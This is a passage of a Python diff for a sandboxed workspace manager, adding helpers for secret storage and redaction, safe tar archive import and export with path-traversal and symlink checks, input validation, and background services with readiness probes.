Any]) -> WorkspaceNetworkPolicy: + raw_policy = payload.get("network_policy") + if raw_policy is not None: + return _normalize_workspace_network_policy(str(raw_policy)) + raw_network_requested = payload.get("network_requested", False) + if isinstance(raw_network_requested, str): + network_requested = raw_network_requested.strip().lower() in {"1", "true", "yes", "on"} + else: + network_requested = bool(raw_network_requested) + if network_requested: + return "egress" + return DEFAULT_WORKSPACE_NETWORK_POLICY + + +def _serialize_workspace_published_port_public( + published_port: WorkspacePublishedPortRecord, +) -> dict[str, Any]: + return { + "host": published_port.host, + "host_port": published_port.host_port, + "guest_port": published_port.guest_port, + "protocol": published_port.protocol, + } + + +def _workspace_published_port_records(value: object) -> list[WorkspacePublishedPortRecord]: + if not isinstance(value, list): + return [] + records: list[WorkspacePublishedPortRecord] = [] + for item in value: + if not isinstance(item, dict): + continue + records.append(WorkspacePublishedPortRecord.from_payload(item)) + return records + + +def _workspace_secret_records(value: object) -> list[WorkspaceSecretRecord]: + if not isinstance(value, list): + return [] + records: list[WorkspaceSecretRecord] = [] + for item in value: + if not isinstance(item, dict): + continue + records.append(WorkspaceSecretRecord.from_payload(item)) + return records + + +def _serialize_workspace_secret_public(secret: WorkspaceSecretRecord) -> dict[str, Any]: + return { + "name": secret.name, + "source_kind": secret.source_kind, + } + + +def _redact_text(text: str, secret_values: list[str]) -> str: + redacted = text + for secret_value in sorted( + {value for value in secret_values if value != ""}, + key=len, + reverse=True, + ): + redacted = redacted.replace(secret_value, "[REDACTED]") + return redacted + + +def _redact_exception(exc: Exception, secret_values: list[str]) -> Exception: + redacted_message = _redact_text(str(exc), secret_values) + if redacted_message == str(exc): + return exc + return exc.__class__(redacted_message) + + +def _serialize_network(network: NetworkConfig | None) -> dict[str, Any] | None: + if network is None: + return None + return { + "vm_id": network.vm_id, + "tap_name": network.tap_name, + "guest_ip": network.guest_ip, + "gateway_ip": network.gateway_ip, + "subnet_cidr": network.subnet_cidr, + "mac_address": network.mac_address, + "dns_servers": list(network.dns_servers), + } + + +def _deserialize_network(payload: object) -> NetworkConfig | None: + if payload is None: + return None + if not isinstance(payload, dict): + raise TypeError("expected dictionary payload") + dns_servers = payload.get("dns_servers", []) + dns_values = tuple(str(item) for item in dns_servers) if isinstance(dns_servers, list) else () + return NetworkConfig( + vm_id=str(payload["vm_id"]), + tap_name=str(payload["tap_name"]), + guest_ip=str(payload["guest_ip"]), + gateway_ip=str(payload["gateway_ip"]), + subnet_cidr=str(payload["subnet_cidr"]), + mac_address=str(payload["mac_address"]), + dns_servers=dns_values, + ) + + +def _run_host_command( + workdir: Path, + command: str, + timeout_seconds: int, + *, + env_overrides: dict[str, str] | None = None, +) -> VmExecResult: started = time.monotonic() env = {"PATH": os.environ.get("PATH", ""), "HOME": str(workdir)} + if env_overrides is not None: + env.update(env_overrides) try: proc = subprocess.run( # noqa: S603 ["bash", "-lc", command], # noqa: S607 @@ -102,6 +857,1388 @@ def _copy_rootfs(source: Path, dest: Path) -> str: return "copy2" +def _wrap_guest_command(command: str, *, cwd: str | None = None) -> str: + if cwd is None: + return command + quoted_cwd = shlex.quote(cwd) + return f"mkdir -p {quoted_cwd} && cd {quoted_cwd} && {command}" + + +def _is_supported_seed_archive(path: Path) -> bool: + name = path.name.lower() + return name.endswith(".tar") or name.endswith(".tar.gz") or name.endswith(".tgz") + + +def _normalize_workspace_destination(destination: str) -> tuple[str, PurePosixPath]: + candidate = destination.strip() + if candidate == "": + raise ValueError("workspace destination must not be empty") + destination_path = PurePosixPath(candidate) + if any(part == ".." for part in destination_path.parts): + raise ValueError("workspace destination must stay inside /workspace") + workspace_root = PurePosixPath(WORKSPACE_GUEST_PATH) + if not destination_path.is_absolute(): + destination_path = workspace_root / destination_path + parts = [part for part in destination_path.parts if part not in {"", "."}] + normalized = PurePosixPath("/") / PurePosixPath(*parts) + if normalized == PurePosixPath("/"): + raise ValueError("workspace destination must stay inside /workspace") + if normalized.parts[: len(workspace_root.parts)] != workspace_root.parts: + raise ValueError("workspace destination must stay inside /workspace") + suffix = normalized.relative_to(workspace_root) + return str(normalized), suffix + + +def _workspace_host_destination(workspace_dir: Path, destination: str) -> Path: + _, suffix = _normalize_workspace_destination(destination) + if str(suffix) in {"", "."}: + return workspace_dir + return workspace_dir.joinpath(*suffix.parts) + + +def _normalize_workspace_disk_path(path: str) -> str: + candidate = path.strip() + if candidate == "": + raise ValueError("workspace disk path must not be empty") + if candidate.startswith("/"): + raw_path = PurePosixPath(candidate) + normalized_parts: list[str] = [] + for part in raw_path.parts: + if part in {"", "/", "."}: + continue + if part == "..": + if normalized_parts: + normalized_parts.pop() + continue + normalized_parts.append(part) + if not normalized_parts: + return "/" + return str(PurePosixPath("/") / PurePosixPath(*normalized_parts)) + normalized, _ = _normalize_workspace_destination(candidate) + return normalized + + +def _normalize_workspace_file_path(path: str) -> str: + return normalize_workspace_path(path) + + +def _validate_workspace_file_read_max_bytes(max_bytes: int) -> int: + if max_bytes <= 0: + raise ValueError("max_bytes must be positive") + if max_bytes > WORKSPACE_FILE_MAX_BYTES: + raise ValueError(f"max_bytes must be at most {WORKSPACE_FILE_MAX_BYTES} bytes") + return max_bytes + + +def _validate_workspace_text_payload(text: str, *, field_name: str) -> str: + encoded = text.encode("utf-8") + if len(encoded) > WORKSPACE_FILE_MAX_BYTES: + raise ValueError( + f"{field_name} must be at most {WORKSPACE_FILE_MAX_BYTES} bytes when encoded as UTF-8" + ) + return text + + +def _validate_workspace_patch_text(patch: str) -> str: + if patch.strip() == "": + raise ValueError("patch must not be empty") + encoded = patch.encode("utf-8") + if len(encoded) > WORKSPACE_PATCH_MAX_BYTES: + raise ValueError( + f"patch must be at most {WORKSPACE_PATCH_MAX_BYTES} bytes when encoded as UTF-8" + ) + return patch + + +def _decode_workspace_patch_text(path: str, content_bytes: bytes) -> str: + try: + return content_bytes.decode("utf-8") + except UnicodeDecodeError as exc: + raise RuntimeError(f"workspace patch only supports UTF-8 text files: {path}") from exc + + +def _normalize_archive_member_name(name: str) -> PurePosixPath: + candidate = name.strip() + if candidate == "": + raise RuntimeError("archive member path is empty") + member_path = PurePosixPath(candidate) + if member_path.is_absolute(): + raise RuntimeError(f"absolute archive member paths are not allowed: {name}") + parts = [part for part in member_path.parts if part not in {"", "."}] + if any(part == ".." for part in parts): + raise RuntimeError(f"unsafe archive member path: {name}") + normalized = PurePosixPath(*parts) + if str(normalized) in {"", "."}: + raise RuntimeError(f"unsafe archive member path: {name}") + return normalized + + +def _validate_archive_symlink_target(member_name: PurePosixPath, link_target: str) -> None: + target = link_target.strip() + if target == "": + raise RuntimeError(f"symlink {member_name} has an empty target") + link_path = PurePosixPath(target) + if link_path.is_absolute(): + raise RuntimeError(f"symlink {member_name} escapes the workspace") + combined = member_name.parent.joinpath(link_path) + parts = [part for part in combined.parts if part not in {"", "."}] + if any(part == ".." for part in parts): + raise RuntimeError(f"symlink {member_name} escapes the workspace") + + +def _inspect_seed_archive(archive_path: Path) -> tuple[int, int]: + entry_count = 0 + bytes_written = 0 + with tarfile.open(archive_path, "r:*") as archive: + for member in archive.getmembers(): + member_name = _normalize_archive_member_name(member.name) + entry_count += 1 + if member.isdir(): + continue + if member.isfile(): + bytes_written += member.size + continue + if member.issym(): + _validate_archive_symlink_target(member_name, member.linkname) + continue + if member.islnk(): + raise RuntimeError( + f"hard links are not allowed in workspace archives: {member.name}" + ) + raise RuntimeError(f"unsupported archive member type: {member.name}") + return entry_count, bytes_written + + +def _write_directory_seed_archive(source_dir: Path, archive_path: Path) -> None: + archive_path.parent.mkdir(parents=True, exist_ok=True) + with tarfile.open(archive_path, "w") as archive: + for child in sorted(source_dir.iterdir(), key=lambda item: item.name): + archive.add(child, arcname=child.name, recursive=True) + + +def _write_empty_seed_archive(archive_path: Path) -> None: + archive_path.parent.mkdir(parents=True, exist_ok=True) + with tarfile.open(archive_path, "w"): + pass + + +def _prepare_workspace_secrets( + secrets: list[dict[str, str]] | None, + *, + secrets_dir: Path, +) -> tuple[list[WorkspaceSecretRecord], dict[str, str]]: + if not secrets: + return [], {} + secrets_dir.mkdir(parents=True, exist_ok=True) + records: list[WorkspaceSecretRecord] = [] + values_by_name: dict[str, str] = {} + for index, item in enumerate(secrets, start=1): + if not isinstance(item, dict): + raise ValueError(f"secret #{index} must be a dictionary") + raw_name = item.get("name") + if raw_name is None: + raise ValueError(f"secret #{index} is missing 'name'") + name = _normalize_workspace_secret_name(str(raw_name)) + if name in values_by_name: + raise ValueError(f"duplicate secret name: {name}") + has_value = "value" in item + has_file_path = "file_path" in item + if has_value == has_file_path: + raise ValueError(f"secret {name!r} must provide exactly one of 'value' or 'file_path'") + source_kind: WorkspaceSecretSourceKind + if has_value: + value = _validate_workspace_secret_value(name, str(item["value"])) + source_kind = "literal" + else: + raw_file_path = str(item["file_path"]).strip() + if raw_file_path == "": + raise ValueError(f"secret {name!r} file_path must not be empty") + resolved_file_path = Path(raw_file_path).expanduser().resolve() + if not resolved_file_path.exists() or not resolved_file_path.is_file(): + raise ValueError(f"secret file for {name!r} does not exist: {resolved_file_path}") + try: + raw_bytes = resolved_file_path.read_bytes() + except OSError as exc: + raise ValueError( + f"failed to read secret file for {name!r}: {resolved_file_path}" + ) from exc + if len(raw_bytes) > WORKSPACE_SECRET_MAX_BYTES: + raise ValueError( + f"secret {name!r} must be at most {WORKSPACE_SECRET_MAX_BYTES} bytes" + ) + try: + value = raw_bytes.decode("utf-8") + except UnicodeDecodeError as exc: + raise ValueError(f"secret {name!r} must be valid UTF-8 text") from exc + value = _validate_workspace_secret_value(name, value) + source_kind = "file" + stored_path = f"{name}.secret" + secret_path = secrets_dir / stored_path + secret_path.write_text(value, encoding="utf-8") + secret_path.chmod(0o600) + values_by_name[name] = value + records.append( + WorkspaceSecretRecord( + name=name, + source_kind=source_kind, + stored_path=stored_path, + ) + ) + secrets_dir.chmod(0o700) + records.sort(key=lambda item: item.name) + return records, {record.name: values_by_name[record.name] for record in records} + + +def _load_workspace_secret_values( + *, + workspace_dir: Path, + secrets: list[WorkspaceSecretRecord], +) -> dict[str, str]: + values: dict[str, str] = {} + for secret in secrets: + secret_path = workspace_dir / WORKSPACE_SECRETS_DIRNAME / secret.stored_path + if not secret_path.exists() or not secret_path.is_file(): + raise RuntimeError(f"secret material is unavailable for {secret.name!r}") + values[secret.name] = secret_path.read_text(encoding="utf-8") + return values + + +def _build_workspace_secret_archive( + *, + workspace_dir: Path, + secrets: list[WorkspaceSecretRecord], + archive_path: Path, +) -> tuple[int, int]: + archive_path.parent.mkdir(parents=True, exist_ok=True) + entry_count = 0 + bytes_written = 0 + with tarfile.open(archive_path, "w") as archive: + for secret in secrets: + secret_path = workspace_dir / WORKSPACE_SECRETS_DIRNAME / secret.stored_path + value = secret_path.read_bytes() + info = tarfile.TarInfo(name=secret.name) + info.size = len(value) + info.mode = 0o600 + archive.addfile(info, io.BytesIO(value)) + entry_count += 1 + bytes_written += len(value) + return entry_count, bytes_written + + +def _persist_workspace_baseline( + prepared_seed: PreparedWorkspaceSeed, + *, + baseline_archive_path: Path, +) -> None: + baseline_archive_path.parent.mkdir(parents=True, exist_ok=True) + if prepared_seed.archive_path is None: + _write_empty_seed_archive(baseline_archive_path) + return + shutil.copy2(prepared_seed.archive_path, baseline_archive_path) + + +def _write_workspace_export_archive( + source_path: Path, + *, + archive_path: Path, +) -> WorkspaceArtifactType: + archive_path.parent.mkdir(parents=True, exist_ok=True) + if source_path.is_symlink(): + artifact_type: WorkspaceArtifactType = "symlink" + elif source_path.is_file(): + artifact_type = "file" + elif source_path.is_dir(): + artifact_type = "directory" + else: + raise RuntimeError(f"unsupported workspace path type: {source_path}") + + def validate_source(current_path: Path, relative_path: PurePosixPath) -> None: + if current_path.is_symlink(): + _validate_archive_symlink_target(relative_path, os.readlink(current_path)) + return + if current_path.is_file(): + return + if current_path.is_dir(): + for child in sorted(current_path.iterdir(), key=lambda item: item.name): + validate_source(child, relative_path / child.name) + return + raise RuntimeError(f"unsupported workspace path type: {current_path}") + + if artifact_type == "directory": + for child in sorted(source_path.iterdir(), key=lambda item: item.name): + validate_source(child, PurePosixPath(child.name)) + else: + validate_source(source_path, PurePosixPath(source_path.name)) + with tarfile.open(archive_path, "w") as archive: + archive.dereference = False + if artifact_type == "directory": + for child in sorted(source_path.iterdir(), key=lambda item: item.name): + archive.add(child, arcname=child.name, recursive=True) + else: + archive.add(source_path, arcname=source_path.name, recursive=False) + return artifact_type + + +def _extract_seed_archive_to_host_workspace( + archive_path: Path, + *, + workspace_dir: Path, + destination: str, +) -> dict[str, Any]: + normalized_destination, _ = _normalize_workspace_destination(destination) + destination_root = _workspace_host_destination(workspace_dir, normalized_destination) + destination_root.mkdir(parents=True, exist_ok=True) + entry_count = 0 + bytes_written = 0 + with tarfile.open(archive_path, "r:*") as archive: + for member in archive.getmembers(): + member_name = _normalize_archive_member_name(member.name) + target_path = destination_root.joinpath(*member_name.parts) + entry_count += 1 + _ensure_no_symlink_parents(workspace_dir, target_path, member.name) + if member.isdir(): + if target_path.is_symlink() or (target_path.exists() and not target_path.is_dir()): + raise RuntimeError(f"directory conflicts with existing path: {member.name}") + target_path.mkdir(parents=True, exist_ok=True) + continue + if member.isfile(): + target_path.parent.mkdir(parents=True, exist_ok=True) + if target_path.is_symlink() or target_path.is_dir(): + raise RuntimeError(f"file conflicts with existing path: {member.name}") + source = archive.extractfile(member) + if source is None: + raise RuntimeError(f"failed to read archive member: {member.name}") + with target_path.open("wb") as handle: + shutil.copyfileobj(source, handle) + bytes_written += member.size + continue + if member.issym(): + _validate_archive_symlink_target(member_name, member.linkname) + target_path.parent.mkdir(parents=True, exist_ok=True) + if target_path.exists() and not target_path.is_symlink(): + raise RuntimeError(f"symlink conflicts with existing path: {member.name}") + if target_path.is_symlink(): + target_path.unlink() + os.symlink(member.linkname, target_path) + continue + if member.islnk(): + raise RuntimeError( + f"hard links are not allowed in workspace archives: {member.name}" + ) + raise RuntimeError(f"unsupported archive member type: {member.name}") + return { + "destination": normalized_destination, + "entry_count": entry_count, + "bytes_written": bytes_written, + } + + +def _prepare_workspace_export_archive( + *, + workspace_dir: Path, + workspace_path: str, + archive_path: Path, +) -> ExportedWorkspaceArchive: + normalized_workspace_path, _ = _normalize_workspace_destination(workspace_path) + source_path = _workspace_host_destination(workspace_dir, normalized_workspace_path) + if not source_path.exists() and not source_path.is_symlink(): + raise RuntimeError(f"workspace path does not exist: {normalized_workspace_path}") + artifact_type = _write_workspace_export_archive(source_path, archive_path=archive_path) + entry_count, bytes_written = _inspect_seed_archive(archive_path) + return ExportedWorkspaceArchive( + workspace_path=normalized_workspace_path, + artifact_type=artifact_type, + archive_path=archive_path, + entry_count=entry_count, + bytes_written=bytes_written, + ) + + +def _extract_workspace_export_archive( + archive_path: Path, + *, + output_path: Path, + artifact_type: WorkspaceArtifactType, +) -> dict[str, Any]: + output_path.parent.mkdir(parents=True, exist_ok=True) + if output_path.exists() or output_path.is_symlink(): + raise RuntimeError(f"output_path already exists: {output_path}") + + entry_count = 0 + bytes_written = 0 + if artifact_type == "directory": + output_path.mkdir(parents=True, exist_ok=False) + with tarfile.open(archive_path, "r:*") as archive: + for member in archive.getmembers(): + member_name = _normalize_archive_member_name(member.name) + target_path = output_path.joinpath(*member_name.parts) + entry_count += 1 + _ensure_no_symlink_parents(output_path, target_path, member.name) + if member.isdir(): + if target_path.is_symlink() or ( + target_path.exists() and not target_path.is_dir() + ): + raise RuntimeError(f"directory conflicts with existing path: {member.name}") + target_path.mkdir(parents=True, exist_ok=True) + continue + if member.isfile(): + target_path.parent.mkdir(parents=True, exist_ok=True) + if target_path.is_symlink() or target_path.is_dir(): + raise RuntimeError(f"file conflicts with existing path: {member.name}") + source = archive.extractfile(member) + if source is None: + raise RuntimeError(f"failed to read archive member: {member.name}") + with target_path.open("wb") as handle: + shutil.copyfileobj(source, handle) + bytes_written += member.size + continue + if member.issym(): + _validate_archive_symlink_target(member_name, member.linkname) + target_path.parent.mkdir(parents=True, exist_ok=True) + if target_path.exists() and not target_path.is_symlink(): + raise RuntimeError(f"symlink conflicts with existing path: {member.name}") + if target_path.is_symlink(): + target_path.unlink() + os.symlink(member.linkname, target_path) + continue + if member.islnk(): + raise RuntimeError( + f"hard links are not allowed in workspace archives: {member.name}" + ) + raise RuntimeError(f"unsupported archive member type: {member.name}") + return { + "output_path": str(output_path), + "artifact_type": artifact_type, + "entry_count": entry_count, + "bytes_written": bytes_written, + } + + with tarfile.open(archive_path, "r:*") as archive: + members = archive.getmembers() + if len(members) != 1: + raise RuntimeError( + "expected exactly one archive member for " + f"{artifact_type} export, got {len(members)}" + ) + member = members[0] + _normalize_archive_member_name(member.name) + entry_count = 1 + if artifact_type == "file": + if not member.isfile(): + raise RuntimeError("exported archive did not contain a regular file") + source = archive.extractfile(member) + if source is None: + raise RuntimeError(f"failed to read archive member: {member.name}") + with output_path.open("wb") as handle: + shutil.copyfileobj(source, handle) + bytes_written = member.size + elif artifact_type == "symlink": + if not member.issym(): + raise RuntimeError("exported archive did not contain a symlink") + _validate_archive_symlink_target(PurePosixPath(member.name), member.linkname) + os.symlink(member.linkname, output_path) + else: + raise RuntimeError(f"unsupported artifact type: {artifact_type}") + return { + "output_path": str(output_path), + "artifact_type": artifact_type, + "entry_count": entry_count, + "bytes_written": bytes_written, + } + + +def _normalize_workspace_service_name(service_name: str) -> str: + normalized = service_name.strip() + if normalized == "": + raise ValueError("service_name must not be empty") + if WORKSPACE_SERVICE_NAME_RE.fullmatch(normalized) is None: + raise ValueError( + "service_name must match " + r"^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$" + ) + return normalized + + +def _normalize_workspace_name( + name: str | None, + *, + allow_none: bool = False, +) -> str | None: + if name is None: + if allow_none: + return None + raise ValueError("name must not be empty") + normalized = name.strip() + if normalized == "": + if allow_none: + return None + raise ValueError("name must not be empty") + if len(normalized) > 120: + raise ValueError("name must be at most 120 characters") + return normalized + + +def _normalize_workspace_label_key(label_key: str) -> str: + normalized = label_key.strip() + if normalized == "": + raise ValueError("label key must not be empty") + if WORKSPACE_LABEL_KEY_RE.fullmatch(normalized) is None: + raise ValueError( + "label key must match " + r"^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$" + ) + return normalized + + +def _normalize_workspace_label_value(label_key: str, label_value: str) -> str: + normalized = label_value.strip() + if normalized == "": + raise ValueError(f"label {label_key!r} must not be empty") + if len(normalized) > 120: + raise ValueError(f"label {label_key!r} must be at most 120 characters") + if "\n" in normalized or "\r" in normalized: + raise ValueError(f"label {label_key!r} must not contain newlines") + try: + normalized.encode("utf-8") + except UnicodeEncodeError as exc: + raise ValueError(f"label {label_key!r} must be valid UTF-8 text") from exc + return normalized + + +def _normalize_workspace_labels(value: object) -> dict[str, str]: + if value is None: + return {} + if not isinstance(value, dict): + raise ValueError("labels must be an object mapping keys to values") + normalized: dict[str, str] = {} + for raw_key, raw_value in value.items(): + key = _normalize_workspace_label_key(str(raw_key)) + label_value = _normalize_workspace_label_value(key, str(raw_value)) + normalized[key] = label_value + return dict(sorted(normalized.items())) + + +def _normalize_workspace_snapshot_name( + snapshot_name: str, + *, + allow_baseline: bool = False, +) -> str: + normalized = snapshot_name.strip() + if normalized == "": + raise ValueError("snapshot_name must not be empty") + if normalized == "baseline" and not allow_baseline: + raise ValueError("snapshot_name 'baseline' is reserved") + if WORKSPACE_SNAPSHOT_NAME_RE.fullmatch(normalized) is None: + raise ValueError( + "snapshot_name must match " + r"^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$" + ) + return normalized + + +def _normalize_workspace_secret_name(secret_name: str) -> str: + normalized = secret_name.strip() + if normalized == "": + raise ValueError("secret name must not be empty") + if WORKSPACE_SECRET_NAME_RE.fullmatch(normalized) is None: + raise ValueError( + "secret name must match " + r"^[A-Za-z_][A-Za-z0-9_]{0,63}$" + ) + return normalized + + +def _validate_workspace_secret_value(secret_name: str, value: str) -> str: + try: + encoded = value.encode("utf-8") + except UnicodeEncodeError as exc: + raise ValueError(f"secret {secret_name!r} must be valid UTF-8 text") from exc + if value == "": + raise ValueError(f"secret {secret_name!r} must not be empty") + if len(encoded) > WORKSPACE_SECRET_MAX_BYTES: + raise ValueError( + f"secret {secret_name!r} must be at most {WORKSPACE_SECRET_MAX_BYTES} bytes" + ) + return value + + +def _normalize_workspace_secret_env_mapping( + secret_env: dict[str, str] | None, +) -> dict[str, str]: + if secret_env is None: + return {} + normalized: dict[str, str] = {} + for secret_name, env_name in secret_env.items(): + normalized_secret_name = _normalize_workspace_secret_name(str(secret_name)) + normalized_env_name = _normalize_workspace_secret_name(str(env_name)) + if normalized_secret_name in normalized: + raise ValueError( + f"secret_env references secret {normalized_secret_name!r} more than once" + ) + normalized[normalized_secret_name] = normalized_env_name + return normalized + + +def _normalize_workspace_published_port( + *, + guest_port: object, + host_port: object | None = None, +) -> WorkspacePublishedPortSpec: + if isinstance(guest_port, bool) or not isinstance(guest_port, int | str): + raise ValueError("published guest_port must be an integer") + try: + normalized_guest_port = int(guest_port) + except (TypeError, ValueError) as exc: + raise ValueError("published guest_port must be an integer") from exc + if normalized_guest_port <= 0 or normalized_guest_port > 65535: + raise ValueError("published guest_port must be between 1 and 65535") + normalized_host_port: int | None = None + if host_port is not None: + if isinstance(host_port, bool) or not isinstance(host_port, int | str): + raise ValueError("published host_port must be an integer") + try: + normalized_host_port = int(host_port) + except (TypeError, ValueError) as exc: + raise ValueError("published host_port must be an integer") from exc + if normalized_host_port <= 1024 or normalized_host_port > 65535: + raise ValueError("published host_port must be between 1025 and 65535") + return WorkspacePublishedPortSpec( + guest_port=normalized_guest_port, + host_port=normalized_host_port, + ) + + +def _normalize_workspace_published_port_specs( + published_ports: list[dict[str, Any]] | None, +) -> list[WorkspacePublishedPortSpec]: + if not published_ports: + return [] + normalized: list[WorkspacePublishedPortSpec] = [] + seen_guest_ports: set[tuple[int | None, int]] = set() + for index, item in enumerate(published_ports, start=1): + if not isinstance(item, dict): + raise ValueError(f"published port #{index} must be a dictionary") + spec = _normalize_workspace_published_port( + guest_port=item.get("guest_port"), + host_port=item.get("host_port"), + ) + dedupe_key = (spec.host_port, spec.guest_port) + if dedupe_key in seen_guest_ports: + raise ValueError("published ports must not repeat the same host/guest port mapping") + seen_guest_ports.add(dedupe_key) + normalized.append(spec) + return normalized + + +def _normalize_workspace_service_readiness( + readiness: dict[str, Any] | None, +) -> dict[str, Any] | None: + if readiness is None: + return None + readiness_type = str(readiness.get("type", "")).strip().lower() + if readiness_type not in {"file", "tcp", "http", "command"}: + raise ValueError("readiness.type must be one of: file, tcp, http, command") + if readiness_type == "file": + path = str(readiness.get("path", "")).strip() + if path == "": + raise ValueError("readiness.path is required for file readiness") + normalized_path, _ = _normalize_workspace_destination(path) + return {"type": "file", "path": normalized_path} + if readiness_type == "tcp": + address = str(readiness.get("address", "")).strip() + if ":" not in address: + raise ValueError("readiness.address must be in HOST:PORT format") + host, raw_port = address.rsplit(":", 1) + host = host.strip() + if host == "": + raise ValueError("readiness.address host must not be empty") + try: + port = int(raw_port) + except ValueError as exc: + raise ValueError("readiness.address port must be an integer") from exc + if port <= 0 or port > 65535: + raise ValueError("readiness.address port must be between 1 and 65535") + return {"type": "tcp", "address": f"{host}:{port}"} + if readiness_type == "http": + url = str(readiness.get("url", "")).strip() + if url == "": + raise ValueError("readiness.url is required for http readiness") + return {"type": "http", "url": url} + command = str(readiness.get("command", "")).strip() + if command == "": + raise ValueError("readiness.command is required for command readiness") + return {"type": "command", "command": command} + + +def _workspace_service_status_path(services_dir: Path, service_name: str) -> Path: + return services_dir / f"{service_name}.status" + + +def _workspace_service_stdout_path(services_dir: Path, service_name: str) -> Path: + return services_dir / f"{service_name}.stdout" + + +def _workspace_service_stderr_path(services_dir: Path, service_name: str) -> Path: + return services_dir / f"{service_name}.stderr" + + +def _workspace_service_runner_path(services_dir: Path, service_name: str) -> Path: + return services_dir / f"{service_name}.runner.sh" + + +def _workspace_service_port_ready_path( + services_dir: Path, + service_name: str, + host_port: int, + guest_port: int, +) -> Path: + return services_dir / f"{service_name}.port-{host_port}-to-{guest_port}.ready.json" + + +def _read_service_exit_code(status_path: Path) -> int | None: + if not status_path.exists(): + return None + raw_value = status_path.read_text(encoding="utf-8", errors="ignore").strip() + if raw_value == "": + return None + return int(raw_value) + + +def _tail_text(path: Path, *, tail_lines: int | None) -> tuple[str, bool]: + if not path.exists(): + return "", False + text = path.read_text(encoding="utf-8", errors="replace") + if tail_lines is None: + return text, False + lines = text.splitlines(keepends=True) + if len(lines) <= tail_lines: + return text, False + return "".join(lines[-tail_lines:]), True + + +def _stop_process_group(pid: int, *, wait_seconds: int = 5) -> tuple[bool, bool]: + try: + os.killpg(pid, signal.SIGTERM) + except ProcessLookupError: + return False, False + deadline = time.monotonic() + wait_seconds + while time.monotonic() < deadline: + if not _pid_is_running(pid): + return True, False + time.sleep(0.1) + try: + os.killpg(pid, signal.SIGKILL) + except ProcessLookupError: + return True, False + deadline = time.monotonic() + wait_seconds + while time.monotonic() < deadline: + if not _pid_is_running(pid): + return True, True + time.sleep(0.1) + return True, True + + +def _linux_process_state(pid: int) -> str | None: + stat_path = Path("/proc") / str(pid) / "stat" + try: + raw_stat = stat_path.read_text(encoding="utf-8", errors="replace").strip() + except OSError: + return None + if raw_stat == "": + return None + closing_paren = raw_stat.rfind(")") + if closing_paren == -1: + return None + suffix = raw_stat[closing_paren + 2 :] + if suffix == "": + return None + return suffix.split(" ", 1)[0] + + +def _run_service_probe_command( + cwd: Path, + command: str, + *, + env_overrides: dict[str, str] | None = None, +) -> int: + env = {"PATH": os.environ.get("PATH", ""), "HOME": str(cwd)} + if env_overrides is not None: + env.update(env_overrides) + proc = subprocess.run( # noqa: S603 + ["bash", "-lc", command], # noqa: S607 + cwd=cwd, + env=env, + text=True, + capture_output=True, + timeout=10, + check=False, + ) + return proc.returncode + + +def _service_ready_on_host( + *, + readiness: dict[str, Any] | None, + workspace_dir: Path, + cwd: Path, + env_overrides: dict[str, str] | None = None, +) -> bool: + if readiness is None: + return True + readiness_type = str(readiness["type"]) + if readiness_type == "file": + ready_path = _workspace_host_destination(workspace_dir, str(readiness["path"])) + return ready_path.exists() + if readiness_type == "tcp": + host, raw_port = str(readiness["address"]).rsplit(":", 1) + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: + sock.settimeout(1) + try: + sock.connect((host, int(raw_port))) + except OSError: + return False + return True + if readiness_type == "http": + request = urllib.request.Request(str(readiness["url"]), method="GET") + try: + with urllib.request.urlopen(request, timeout=2) as response: # noqa: S310 + return 200 <= int(response.status) < 400 + except (urllib.error.URLError, TimeoutError, ValueError): + return False + if readiness_type == "command": + try: + return ( + _run_service_probe_command( + cwd, + str(readiness["command"]), + env_overrides=env_overrides, + ) + == 0 + ) + except (OSError, subprocess.TimeoutExpired): + return False + raise RuntimeError(f"unsupported readiness type: {readiness_type}") + + +def _refresh_local_service_record( + service: WorkspaceServiceRecord, + *, + services_dir: Path, +) -> WorkspaceServiceRecord: + if service.state != "running" or service.pid is None: + return service + if _pid_is_running(service.pid): + return service + refreshed = WorkspaceServiceRecord( + workspace_id=service.workspace_id, + service_name=service.service_name, + command=service.command, + cwd=service.cwd, + state="exited", + started_at=service.started_at, + readiness=dict(service.readiness) if service.readiness is not None else None, + ready_at=service.ready_at, + ended_at=service.ended_at or time.time(), + exit_code=_read_service_exit_code( + _workspace_service_status_path(services_dir, service.service_name) + ), + pid=service.pid, + execution_mode=service.execution_mode, + stop_reason=service.stop_reason, + published_ports=list(service.published_ports), + metadata=dict(service.metadata), + ) + return refreshed + + +def _start_local_service( + *, + services_dir: Path, + workspace_dir: Path, + workspace_id: str, + service_name: str, + command: str, + cwd_text: str, + readiness: dict[str, Any] | None, + ready_timeout_seconds: int, + ready_interval_ms: int, + env_overrides: dict[str, str] | None = None, +) -> WorkspaceServiceRecord: + services_dir.mkdir(parents=True, exist_ok=True) + cwd = _workspace_host_destination(workspace_dir, cwd_text) + cwd.mkdir(parents=True, exist_ok=True) + stdout_path = _workspace_service_stdout_path(services_dir, service_name) + stderr_path = _workspace_service_stderr_path(services_dir, service_name) + status_path = _workspace_service_status_path(services_dir, service_name) + runner_path = _workspace_service_runner_path(services_dir, service_name) + stdout_path.write_text("", encoding="utf-8") + stderr_path.write_text("", encoding="utf-8") + status_path.unlink(missing_ok=True) + runner_path.write_text( + "\n".join( + [ + "#!/bin/sh", + "set +e", + f"cd {shlex.quote(str(cwd))}", + ( + f"/bin/sh -lc {shlex.quote(command)}" + f" >> {shlex.quote(str(stdout_path))}" + f" 2>> {shlex.quote(str(stderr_path))}" + ), + "status=$?", + f"printf '%s' \"$status\" > {shlex.quote(str(status_path))}", + 'exit "$status"', + ] + ) + + "\n", + encoding="utf-8", + ) + runner_path.chmod(0o700) + env = {"PATH": os.environ.get("PATH", ""), "HOME": str(cwd)} + if env_overrides is not None: + env.update(env_overrides) + process = subprocess.Popen( # noqa: S603 + [str(runner_path)], + cwd=str(cwd), + env=env, + text=True, + start_new_session=True, + ) + started_at = time.time() + service = WorkspaceServiceRecord( + workspace_id=workspace_id, + service_name=service_name, + command=command, + cwd=cwd_text, + state="running", + started_at=started_at, + readiness=dict(readiness) if readiness is not None else None, + ready_at=None, + ended_at=None, + exit_code=None, + pid=process.pid, + execution_mode="host_compat", + stop_reason=None, + ) + deadline = time.monotonic() + ready_timeout_seconds + while True: + service = _refresh_local_service_record(service, services_dir=services_dir) + if service.state != "running": + service.state = "failed" + service.stop_reason = "process_exited_before_ready" + if service.ended_at is None: + service.ended_at = time.time() + return service + if _service_ready_on_host( + readiness=readiness, + workspace_dir=workspace_dir, + cwd=cwd, + 